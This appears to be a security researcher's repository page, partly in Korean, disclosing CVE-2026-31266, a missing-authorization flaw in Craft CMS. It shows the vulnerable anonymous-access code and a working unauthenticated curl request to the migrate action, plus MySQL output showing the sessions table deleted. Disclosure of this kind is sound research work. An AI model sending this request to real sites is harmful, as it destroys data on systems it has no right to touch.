0xrixet/craftcms-poc-cve-2026-31266Security research on Craft CMS authentication mechanism
| 필드 | 값 |
|---|---|
| CVE ID | CVE-2026-31266 |
| 공급업체 | Pixel & Tonic |
| 제품 | Craft CMS |
| 영향받는 버전 | <= 5.9.5 |
| CWE | CWE-862 (권한 누락) |
| CVSS | 7.3 (높음) |
| 보안 연구원 | 0xRIXET |
screenshots/ - Proof of Concept 시연파일: src/controllers/AppController.php
65-68행:
protected array|bool|int $allowAnonymous = [
'migrate' => self::ALLOW_ANONYMOUS_LIVE | self::ALLOW_ANONYMOUS_OFFLINE,
];
# allowAdminChanges=false 설정 상태
curl -X POST "http://target/actions/app/migrate"
mysql> SELECT COUNT(*) FROM sessions;
+----------+
| COUNT(*) |
+----------+
| 0 |
+----------+
mysql> SELECT COUNT(*) FROM sessions;
ERROR 1146 (42S02): Table 'sessions' doesn't exist